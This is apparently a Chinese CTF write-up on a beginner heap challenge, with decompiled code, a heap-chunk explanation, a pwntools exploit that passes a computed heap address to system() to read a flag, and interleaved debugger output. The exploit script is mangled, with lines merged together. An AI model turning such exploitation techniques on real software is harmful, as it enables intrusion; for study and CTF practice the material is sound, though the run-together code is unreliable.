堆的基本概念
1.1 堆的基本概念
虚拟机所在目录
E:\ctf\pwn-self
进入虚拟机的pwndocker环境
holyeyes@ubuntu:~$ pwd
/home/holyeyes
holyeyes@ubuntu:~$ sudo ./1run.sh
IDA分析
int __fastcall main(int argc, const char **argv, const char **envp)
{
void *v4; // [rsp+20h] [rbp-10h]
char *command; // [rsp+28h] [rbp-8h]
init();
puts(“Welcome to my easy heap challenge 4!”);
v4 = malloc(0x80uLL);
printf(“heap addr: %llx\n”, v4);
strcpy((char *)malloc(0x80uLL), “cat flag\n”);
puts(“Where is your flag?”);
command = (char *)read_int();
system(command);
return 0;
}
PWNgdb分析
chmod +x pwn
pwndbg> r
Starting program: /ctf/work/erjinzhi/1.1/pwn
Welcome to my easy heap challenge 4!
heap addr: 602010
Where is your flag?
原理
0 堆的位置与作用
0.1
0.2
1 chunk的概念
2 chunk的实现原理
2.1
2.2
2.3
2.4
思路分析
堆的基本概念考察，堆是连续分布的，以chunk为单位提供给用户使用
程序给出了一个chunk的地址，逆向可知该chunk的大小为0x90(0x80的data加上0x10的头部)。
随后将一个字符串复制到另一个chunk中。
strcpy(malloc(0x80), “cat flag\n”);
由于两个chunk是连续分配的，所以可知chunk2就在chunk1的后面，字符串的地址为返回的chunk1的mem地址加上0x80的chunk1 data再加一个chunk2的头部。
EXP
#!/usr/bin/env python
# -*- coding: utf-8 -*-from pickle import TRUE
from pwn import *
import syscontext.terminal=["tmux","sp","-h"]
context.log_level='debug'
#context.arch='i386'DEBUG = 1LOCAL = True
BIN ='./pwn'
HOST ='node5.buuoj.cn'
PORT =29924def get_base_address(proc):return int(open("/proc/{}/maps".format(proc.pid), 'rb').readlines()[0].split('-')[0], 16)def debug(bps,_s):script = "handle SIGALRM ignore\n"PIE = get_base_address(p)script += "set $_base = 0x{:x}\n".format(PIE)for bp in bps:script += "b *0x%x\n"%(PIE+bp)script += _sgdb.attach(p,gdbscript=script)def exploit(p):p.recvuntil("heap addr:")heap = int(p.recvline(), 16)p.sendlineafter("flag?\n", str(heap + 0x90))p.interactive()returnif __name__ == "__main__":elf = ELF(BIN)if len(sys.argv) > 1:LOCAL = Falsep = remote(HOST, PORT)exploit(p)else:LOCAL = Truep = process(BIN)log.info('PID: '+ str(proc.pidof(p)[0]))# pauseif DEBUG:debug([],"")exploit(p)
运行结果
tmux
ctrL+b+：set -g mouse on
root@pwn_test1604:/ctf/work/erjinzhi/1.1# python 1.py │ RSP 0x7ffd509fd6d8 —▸ 0x400884 (read_int+45) ◂— mov dword ptr [rbp - 0x24], eax
[DEBUG] PLT 0x40065c puts │ RIP 0x7fa19c36b260 (__read_nocancel+7) ◂— cmp rax, -0xfff
[DEBUG] PLT 0x40065c puts │────────────────────────────────────────[ DISASM ]────────────────────────────────────────
[DEBUG] PLT 0x400670 __stack_chk_fail │ ► 0x7fa19c36b260 <__read_nocancel+7> cmp rax, -0xfff
[DEBUG] PLT 0x400680 system │ 0x7fa19c36b266 <__read_nocancel+13> jae read+73 <0x7fa19c36b299>
[DEBUG] PLT 0x400690 printf │ ↓
[DEBUG] PLT 0x4006a0 read │ 0x7fa19c36b299 <read+73> mov rcx, qword ptr [rip + 0x2ccbd8]
[DEBUG] PLT 0x4006b0 __libc_start_main │ 0x7fa19c36b2a0 <read+80> neg eax
[DEBUG] PLT 0x4006c0 malloc │ 0x7fa19c36b2a2 <read+82> mov dword ptr fs:[rcx], eax
[DEBUG] PLT 0x4006d0 setvbuf │ 0x7fa19c36b2a5 <read+85> or rax, 0xffffffffffffffff
[DEBUG] PLT 0x4006e0 atol │ 0x7fa19c36b2a9 <read+89> ret
[DEBUG] PLT 0x4006f0 __gmon_start__ │
[*] '/ctf/work/erjinzhi/1.1/pwn' │ 0x7fa19c36b2aa nop word ptr [rax + rax]Arch: amd64-64-little │ 0x7fa19c36b2b0 <write> cmp dword ptr [rip + 0x2d2489], 0 <0x7fa19c63RELRO: Partial RELRO │d740>Stack: Canary found │ 0x7fa19c36b2b7 <write+7> jne write+25 <0x7fa19c36b2c9>NX: NX enabled │ ↓PIE: No PIE (0x400000) │ 0x7fa19c36b2c9 <write+25> sub rsp, 8
[+] Starting local process './pwn': pid 469 │────────────────────────────────────────[ STACK ]─────────────────────────────────────────
[*] PID: 469 │00:0000│ rsp 0x7ffd509fd6d8 —▸ 0x400884 (read_int+45) ◂— mov dword ptr [rbp - 0x24], e
[DEBUG] Wrote gdb script to '/tmp/pwnrptYUI.gdb' │axfile ./pwn │01:0008│ 0x7ffd509fd6e0 ◂— 0x13handle SIGALRM ignore │02:0010│ 0x7ffd509fd6e8 —▸ 0x7fa19c639620 (_IO_2_1_stdout_) ◂— 0xfbad2887set $_base = 0x400000 │03:0018│ rsi 0x7ffd509fd6f0 —▸ 0x400a0e ◂— push rdi /* 'Where is your flag?' */
[*] running in new terminal: /usr/bin/gdb -q "./pwn" 469 -x "/tmp/pwnrptYUI.gdb" │04:0020│ 0x7ffd509fd6f8 —▸ 0x7fa19c2e37fa (puts+362) ◂— cmp eax, -1
[DEBUG] Launching a new terminal: ['/usr/bin/tmux', 'sp', '-h', '/usr/bin/gdb -q "./pwn" │05:0028│ 0x7ffd509fd700 ◂— 0x0
469 -x "/tmp/pwnrptYUI.gdb"'] │06:0030│ 0x7ffd509fd708 ◂— 0xbfc2dfd72a027f00
[+] Waiting for debugger: Done │07:0038│ rbp 0x7ffd509fd710 —▸ 0x7ffd509fd750 —▸ 0x400950 (__libc_csu_init) ◂— push r15
[DEBUG] Received 0x4c bytes: │──────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────'Welcome to my easy heap challenge 4!\n' │ ► f 0 7fa19c36b260 __read_nocancel+7'heap addr: 22be010\n' │ f 1 400884 read_int+45'Where is your flag?\n' │ f 2 40092f main+124
[DEBUG] Sent 0x9 bytes: │ f 3 7fa19c294830 __libc_start_main+240'36429984\n' │pwndbg> c
[*] Switching to interactive mode │Continuing.
[DEBUG] Received 0xf bytes: │[New process 481]'flag{11111111}\n' │process 481 is executing new program: /bin/dash
flag{11111111} │[New process 482]
[*] Process './pwn' stopped with exit code 0 (pid 469) │process 482 is executing new program: /bin/cat
[*] Got EOF while reading in interactive │[Inferior 3 (process 482) exited normally]
$ pwndbg> parseheapfile ./pwn │addr prev size status fd handle SIGALRM ignore │ bk set $_base = 0x400000 │0x192c000 0x0 0x90 Used None
[*] running in new terminal: /usr/bin/gdb -q "./pwn" 624 -x "/tmp/pwnR_WTJ8.gdb" │ None
[DEBUG] Launching a new terminal: ['/usr/bin/tmux', 'sp', '-h', '/usr/bin/gdb -q "./pwn" │0x192c090 0x0 0x90 Used None
624 -x "/tmp/pwnR_WTJ8.gdb"'] │ None
[+] Waiting for debugger: Done │pwndbg> x/20gx 0x192c000
[DEBUG] Received 0x4c bytes: │0x192c000: 0x0000000000000000 0x0000000000000091'Welcome to my easy heap challenge 4!\n' │0x192c010: 0x0000000000000000 0x0000000000000000'heap addr: 192c010\n' │0x192c020: 0x0000000000000000 0x0000000000000000'Where is your flag?\n' │0x192c030: 0x0000000000000000 0x0000000000000000
[DEBUG] Sent 0x9 bytes: │0x192c040: 0x0000000000000000 0x0000000000000000'26394784\n' │0x192c050: 0x0000000000000000 0x0000000000000000
[*] Switching to interactive mode │0x192c060: 0x0000000000000000 0x0000000000000000
$ │0x192c070: 0x0000000000000000 0x0000000000000000│0x192c080: 0x0000000000000000 0x0000000000000000│0x192c090: 0x0000000000000000 0x0000000000000091│pwndbg> x/20gx 0x192c090│0x192c090: 0x0000000000000000 0x0000000000000091│0x192c0a0: 0x67616c6620746163 0x000000000000000a│0x192c0b0: 0x0000000000000000 0x0000000000000000│0x192c0c0: 0x0000000000000000 0x0000000000000000│0x192c0d0: 0x0000000000000000 0x0000000000000000│0x192c0e0: 0x0000000000000000 0x0000000000000000│0x192c0f0: 0x0000000000000000 0x0000000000000000│0x192c100: 0x0000000000000000 0x0000000000000000│0x192c110: 0x0000000000000000 0x0000000000000000│0x192c120: 0x0000000000000000 0x0000000000020ee1│pwndbg>